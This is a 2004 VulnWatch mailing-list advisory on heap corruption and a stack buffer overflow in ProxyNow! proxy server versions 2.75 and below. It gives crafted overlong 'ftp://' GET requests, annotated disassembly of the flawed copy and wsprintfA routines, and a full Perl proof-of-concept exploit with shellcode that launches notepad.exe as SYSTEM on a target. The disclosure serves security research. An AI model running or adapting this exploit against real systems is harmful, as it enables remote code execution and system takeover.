

[VulnWatch] ProxyNow! 2.x Multiple Overflow Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2004-01/0021.html>

From: Peter Winter-Smith (peter4020_at_hotmail.com)

Date: 01/26/04

To: vulnwatch@vulnwatch.org

Date: Mon, 26 Jan 2004 21:21:18 +0000

ProxyNow! 2.x Multiple Overflow Vulnerabilities

#####

Credit:

Author : Peter Winter-Smith

Software:

Package : ProxyNow!

Versions : 2.75 and below

Vendor : InternetNow!

Vendor Url : <http://www.internetnow.com.my/>

Vulnerability:

Bug Type : Multiple Buffer Overflows

+ Heap Memory Corruption

+ Stack-based Buffer Overflow

Severity : Highly Critical

+ Denial of Service

+ Code Execution With SYSTEM Privileges

1. Description of Software

"Using just ONE dial-up account, whether PSTN (your normal phone dial-up) or ISDN, ProxyNow! will enable all other computers connected in the same network to access the internet. Internet surfing can be counter productive if access is not managed.

With ProxyNow! Advance Features, you can limit the time that users can surf, block the sites by content or domain, log of all the sites visited during the day, monitor on-line current activities of the internet!

You will find no hardware or any solutions that will match ours."

- Vendors Description

2. Bug Information

ProxyNow! is labelled on the InternetNow! website as being an application for "Unmatched Internet Access control", which brings up the obvious question 'for whom? Who is in control?' The natural thinker would assume that, of course, it the person who administrates the proxy server, the owner of the ProxyNow! software application who has control, which is the usual order of things. Ironically enough, this is not so much the case.

Due to multiple insufficient bounds checking conditions within the ProxyNow.exe application, it is possible for any malicious individual to attack and gain control over a system running ProxyNow! versions 2.75 (the latest as of 26/01/2004) and below, and execute arbitrary code with SYSTEM privileges.

Both of the boundary checking problems occur when an HTTP GET request involving an overly long URL prefixed with the string 'ftp://' is supplied to the proxy server on port 3128/tcp.

(a). Heap Memory Corruption Vulnerability

If the request takes the following form (whereby 'AAAA' (41414141h) will replace the eax register, and 'XXXX' (58585858h) will replace the ecx register):

```
-----[Request1.txt]-----  
GET ftp://('a'x647)('AAAA')('XXXX') HTTP/1.1
```

It is possible to overwrite various structures in the memory which seem to cause the corruption of important variables used for the management of the heap memory. If the above sample request is sent around four to eight times we are able to repeatedly cause an access violation within the 'rtlallocateheap' function.

It is often possible to gain control over the eax and the ecx registers directly before hitting an instruction which will write the value contained within the eax register, to the location pointed at by the ecx register, allowing us to overwrite arbitrary memory.

A good use for this may be to overwrite a structured exception handler and allow the application to crash, which should hand over full control of the code execution flow to the attacker.

(-). Part of the Vulnerable Code

Below is the unchecked data copying routine which overwrites the saved values in memory:

VulnWatch: [VulnWatch] ProxyNow! 2.x Multiple Overflow Vulnerabilities

```
00443F75 |> 0FBED0 /MOV SX EDX,AL
00443F78 |. 52 |PUSH EDX
00443F79 |. E8 E5FB0400 |CALL ProxyNow.00493B63
00443F7E |. 83C4 04 |ADD ESP,4
00443F81 |. 85C0 |TEST EAX,EAX
00443F83 |. 75 0E |JNZ SHORT ProxyNow.00443F93
00443F85 |. 8A06 |MOV AL,BYTE PTR DS:[ESI]
00443F87 |. 8845 00 |MOV BYTE PTR SS:[EBP],AL
00443F8A |. 8A46 01 |MOV AL,BYTE PTR DS:[ESI+1]
00443F8D |. 45 |INC EBP
00443F8E |. 46 |INC ESI
00443F8F |. 3C 2F |CMP AL,2F
00443F91 |.^75 E2 \JNZ SHORT ProxyNow.00443F75
```

It seems that the application will continue overwriting memory indefinitely until certain bytes, such as 0x2f or 0x20, are encountered.

Further on into the execution process, a call is made to 'rtlallocateheap', in which data that we have overwritten is loaded into the eax and ecx registers as is shown below:

```
77F580C9 8B46 08 MOV EAX,DWORD PTR DS:[ESI+8]
77F580CC 8985 64FFFFFF MOV DWORD PTR SS:[EBP-9C],EAX
77F580D2 8B4E 0C MOV ECX,DWORD PTR DS:[ESI+C]
77F580D5 898D 60FFFFFF MOV DWORD PTR SS:[EBP-A0],ECX
```

Then the application attempts to write the value contained within the eax register at the location pointed to by the ecx register:

```
77F580DB 8901 MOV DWORD PTR DS:[ECX],EAX
77F580DD 8948 04 MOV DWORD PTR DS:[EAX+4],ECX
```

Under a debug session I was able to use this to overwrite a structured exception handler located at 023EFC94 to gain control over the execution flow, however I am uncertain of how this would work out without the guidance of the debugger: It would undoubtedly be harder.

(b). Stack-based Buffer Overflow Vulnerability

... And if that wasn't bad enough ...

It seems that there is an unchecked call to 'wsprintfA', which can cause a stack-based buffer overflow allowing an attacker to gain direct control over the ecx, ebp and eip registers, allowing immediate redirection of the code execution flow to an arbitrary location.

The overflow can be caused by supplying an HTTP GET request similar to the following:

```
-----[Request2.txt]-----
GET ('ftp://www.nosite.com/')('a'x249)('BBBB')('XXXX') HTTP/1.1
```

In the above request, the ecx register will contain 'aaaa' (61616161h), the saved base pointer will be overwritten with 'BBBB' (42424242h) and the saved return address will be overwritten with 'XXXX' (58585858h).

(-). Part of the Vulnerable Code

A procedure at 00443D20 is reached, it saves the base pointer on to the stack:

```
00443D20 /$ 55 PUSH EBP
00443D21 |. 8BEC MOV EBP,ESP
```

At 00443DA0 a pointer to the user supplied data (which is the 'ftp://www.....BBBBXXXX' string) is moved into the eax register, and is later pushed onto the stack for wsprintfA to copy data from.

Next, at 00443DB0, a buffer of around 288 bytes (120h) is allocated, and the address of this is pushed onto the stack for use by the wsprintfA function (called from 00443DBC) to store the formatted output. The output is of the following format: 'Connecting to [%s]', where '%s' is the user supplied data (of an unchecked length).

```
00443DA0 |. 8B86 C80C0000 MOV EAX,DWORD PTR DS:[ESI+CC8]
00443DA6 |. 85C0 TEST EAX,EAX
00443DA8 |. 75 05 JNZ SHORT ProxyNow.00443DAF
00443DAA |. B8 38F74C00 MOV EAX,ProxyNow.004CF738
00443DAF |> 50 PUSH EAX
00443DB0 |. 8D95 E0FEFFFF LEA EDX,DWORD PTR SS:[EBP-120]
00443DB6 |. 68 EC744F00 PUSH ProxyNow.004F74EC
00443DBB |. 52 PUSH EDX
00443DBC |. FF15 FCF44C00 CALL DWORD PTR DS:[<&USER32.wsprintfA>]
00443DC2 |. 83C4 0C ADD ESP,0C
00443DC5 |. 8D85 E0FEFFFF LEA EAX,DWORD PTR SS:[EBP-120]
00443DCB |. 8BCE MOV ECX,ESI
00443DCD |. 50 PUSH EAX
00443DCE |. 6A 00 PUSH 0
00443DD0 |. E8 0B620000 CALL ProxyNow.00449FE0
00443DD5 |. 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
```

When the wsprintfA function returns, if the formatted output string is too large for the buffer supplied to hold it, the saved base pointer and return address, which were left on the stack by calling the procedure 00443D20, can be completely overwritten. The ecx register is also overwritten when the instruction at line 00443DD5 is executed.

When the procedure 00443D20 returns (at line 00443DE7), the overwritten saved return address is moved into the instruction pointer register and code execution continues from the user supplied location!

VulnWatch: [VulnWatch] ProxyNow! 2.x Multiple Overflow Vulnerabilities

```
00443DE4 |. 8BE5 MOV ESP,EBP
00443DE6 |. 5D POP EBP
00443DE7 \. C2 0400 RETN 4
```

For an attacker it is little more than trivial to redirect the code execution flow back into a buffer which contains specially crafted arbitrary code. The code will be executed with SYSTEM privileges!

3. Proof of Concept

To demonstrate the potential impact of these vulnerabilities, I have decided to make public a simple and harmless proof of concept exploit, designed to remotely execute the Windows notepad application with SYSTEM privileges. Notepad will not be run as a visible window, and so to check for the success of this exploit it will be necessary to look for the 'notepad.exe' process under the running processes tab of the Windows Task Manager on the target system.

```
#####
#!/usr/bin/perl -w
#
# Remote Stack Overflow in ProxyNow! 2.x PoC Exploit
#
# Tested on Windows XP Home SP1
#
# Ever seen notepad.exe with SYSTEM privileges? :-/
#
# - by Peter Winter-Smith [peter4020@hotmail.com]

use IO::Socket;

if(!($ARGV[1]))
{
print "Usage: proxynow.pl <victim> <port>\n" .
"\tDefault port is 3128\n\n";
exit;
}

print "Remote Stack Overflow in ProxyNow! PoC - Executes notepad.exe\n" .
"Notepad.exe will only be visible from the Task Manager!\n\n";

$victim = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1])
or die "Unable to connect to $ARGV[0] on" .
"port $ARGV[1]";

$nops = "\x90\x90\x90\x90";

$subcode = "\x89\xE0\x05\x03\xff\xff\xff\xff" .
"\xE0";
```

VulnWatch: [VulnWatch] ProxyNow! 2.x Multiple Overflow Vulnerabilities

```
$shellcode = "\x31\xC9\x51\x68\x65\x70\x61\x64" .  
             "\x68\xFF\x6E\x6F\x74\x8D\x44\x24" .  
             "\x01\x50\xB8\x44\x80\xC2\x77\xFF" .  
             "\xD0\xCC";  
  
$pad = "XXXXXXXX";  
  
$ebp = "BBBB";  
$eip = "\x3B\x58\x01\x10";  
  
$bad = "GET ftp://www.nosite.com/" . "\x90"x33 . $shellcode . "a"x190 .  
       $ebp . $eip . $nops . $subcode . $pad . "\x20HTTP/1.1\r\n\r\n";  
  
print $victim $bad;  
  
print "[+] Data sent: Check for notepad.exe running as SYSTEM!\n";  
  
sleep(2);  
  
close($victim);  
  
print "[+] Done!\n";  
exit;  
#####
```

4. Patches – Workarounds

After having contacted InternetNow! on three occasions under different addresses with no response, I felt that perhaps they were not interested in putting out a fix for these issues, and so decided to release this information to the security community so that ProxyNow! users can decide to take whatever action they deem necessary.

5. Credits

The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself.

Greets and thanks to:

David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine.

o This document should be mirrored at

<http://www.elitehaven.net/proxynow.txt>

Stay in touch with absent friends – get MSN Messenger
<http://www.msn.co.uk/messenger>